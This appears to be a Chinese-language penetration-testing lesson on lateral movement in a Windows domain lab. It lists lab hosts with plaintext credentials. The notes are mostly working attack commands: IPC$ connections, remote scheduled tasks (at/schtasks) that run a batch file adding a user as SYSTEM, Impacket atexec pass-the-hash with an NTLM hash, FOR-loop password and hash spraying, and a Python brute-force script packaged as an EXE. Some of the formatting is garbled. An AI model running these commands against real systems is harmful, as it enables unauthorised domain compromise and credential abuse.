环境配置
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
——————————————————- 2003 x86 fileserver
域内文件服务器
本地管理员账号密码 : administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
——————————————————- 2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
——————————————————- 2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45 当前机器域用户密码 :
god\dbadmin:admin!@#45
——————————————————- w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
——————————————————- w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 : .\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
演示案例:
横向渗透明文传递 at&schtasks
横向渗透明文 HASH 传递 impacket
横向渗透明文 HASH 传递批量利用-综合
横向渗透明文 HASH 传递批量利用-升级版
案例 1-横向渗透明文传递 at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?
这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
利用流程
- 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接 ```powershell工作组
net use \server\ipc$”password” /user:username
域内
net use \server\ipc$”password” /user:domain\username
查看文件列表
dir \xx.xx.xx.xx\C$\
下载文件
copy \xx.xx.xx.xx\C$\1.bat 1.bat
复制文件
copy 1.bat \xx.xx.xx.xx\C$
删除 IPC
net use \xx.xx.xx.xx\C$\1.bat /del
查看对方共享
net view xx.xx.xx.xx
<a name="PmMWn"></a>#### 建立 IPC 常见的错误代码(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 <br />(2)51:网络问题,Windows 无法找到网络路径<br />(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题<br />(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$<br />(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除<br />(6)1326:账号密码错误<br />(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况<br />(8)2242:用户密码过期,目标有账号策略,强制定期更改密码<a name="U8zSu"></a>#### 建立 IPC 失败的原因(1)目标系统不是 NT 或以上的操作系统<br />(2)对方没有打开 IPC$共享<br />(3)对方未开启 139、445 端口,或者被防火墙屏蔽<br />(4)输出命令、账号密码有错误<a name="u5wIX"></a>#### [at] & [schtasks]- at < Windows2012```powershell# 建立 ipc 连接:net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad ministrator# 拷贝执行文件到目标机器copy add.bat \\192.168.3.21\c$# add.batnet user xiaodi qwe123!@#X. /add#添加计划任务at \\192.168.3.21 15:47 c:\add.bat
- schtasks >=Windows2012
```powershell
建立 ipc 连接:
net use \192.168.3.32\ipc$ “admin!@#45” /user:god.org\administrator
复制文件到其 C 盘
copy add.bat \192.168.3.32\c$
创建 adduser 任务 对应执行文件
schtasks /create /s 192.168.3.32 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\add.bat /F
运行 adduser 任务
schtasks /run /s 192.168.3.32 /tn adduser /i
删除 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f
<a name="slCYx"></a>### 案例 2-横向渗透明文 HASH 传递 atexec-impacketImpacket官方仓库<br />[https://github.com/SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket)EXE打包版<br />[https://github.com/maaaaz/impacket-examples-windows](https://github.com/maaaaz/impacket-examples-windows)```powershellatexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
案例 3-横向渗透明文 HASH 传递批量利用-综合
#批量检测 IP 对应明文连接FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator#批量检测 IP 对应明文 回显版FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami#批量检测明文对应 IP 回显版FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami# 批量检测 HASH 对应 IP 回显版FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami
案例 4-横向渗透明文 HASH 传递批量利用-升级版
前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典能吃西瓜?
pip install pyinstallerpyinstaller -F fuck_neiwang_001.py
import os,timeips = {}# net user /domainusers = {'Administrator','dbadmin'}passs = {}for ip in ips:for user in users:for mima in passs:exec = "net use \\" + ip + '\ipc$' + mima + ' /user:god\\' + userprint('--->' + exec + '<---')os.system(exec)time.sleep(1)

